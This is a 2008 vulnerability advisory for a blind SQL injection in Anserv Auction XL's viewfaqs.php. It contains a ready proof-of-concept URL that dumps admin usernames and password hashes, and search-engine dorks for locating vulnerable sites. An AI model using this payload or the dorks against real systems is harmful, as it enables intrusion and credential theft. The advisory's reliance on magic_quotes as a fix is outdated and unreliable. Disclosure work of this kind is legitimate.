SecurityReason - Anserv Auction XL (viewfaqs.php cat) Blind Sql Injection Vulnerability

Advisory Text :

ECHO_ADV_92$2008

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[ECHO_ADV_92$2008] Anserv Auction XL (viewfaqs.php cat) Blind Sql Injection
Vulnerability

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Author : M.Hasran Addahroni

Date : May, 5 th 2008

Location : Jakarta, Indonesia

Web : http://advisories.echo.or.id/adv/adv92-K-159-2008.txt

Critical Lvl : Medium

Impact : System access

Where : From Remote

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Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Anserv Auction XL

version :

Vendor : http://auctionxl.com/ http://anserv.com/

Description :

Auction XL offers many features in an auction software package. If you
would like to bill your clients monthly for their accumulated fees,

XL is the right choice for your auction software. "Name Your Price" offers
is just one of the newly added features.

Auction XL has many features included making it a robust auction software
package that offers complete user interaction and admin control

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Vulnerability:

~~~~~~~~~~~~~~

Input passed to the "cat" parameter is not properly verified before being
used to sql query.

This can be exploited thru the browser and get the username and hash md5
password from admin.

Successful exploitation requires that "magic_quotes" is off

Poc/Exploit:

~~~~~~~~~~

http://www.target.com/viewfaqs.php?cat=-1%20union%20select%20concat(id,0
x3a,username,0x3a,password)%20from PHPAUCTIONXL_adminusers--

Dork:

~~~~~

Google : "allinurl:viewfaqs.php?cat="

Altavista : "Home | Sell an item | Register | Login | Community |
Site Map | Help"

Solution:

~~~~~~~

- Edit the source code to ensure that input is properly verified.

- Turn on magic_quotes in php.ini

Timeline:

~~~~~~~~~

- 02 - 05 - 2008 bug found

- 03 - 05 - 2008 vendor contacted

- 05 - 05 - 2008 advisory released

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Shoutz:

~~~~~

~ ping - my dearest wife, zautha my light of eyes, for all the luv the
tears n the breath

~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,
az01,negative,the_hydra,neng chika, str0ke

~ everybody [at] SCAN-NUSANTARA and SCAN-ASSOSIATES

~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,an0mal
y,cybertank,super_temon,b120t0,inggar,fachri,adi,rahmat,indra,cyb3rh3b

~ dr188le,SinChan,h4ntu,cow_1seng,poniman_coy, ketut, rizal, cR4SH3R,
kuntua, stev_manado, nofry,k1tk4t,0pt1c

~ newbie_hacker (at) yahoogroups (dot) com [email concealed]

~ #aikmel #e-c-h-o @irc.dal.net

~ special for rgod - good bye mate, thanks for the great works.

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Contact:

~~~~~~

K-159 || echo|staff || eufrato[at]gmail[dot]com

Homepage: http://k-159.echo.or.id/

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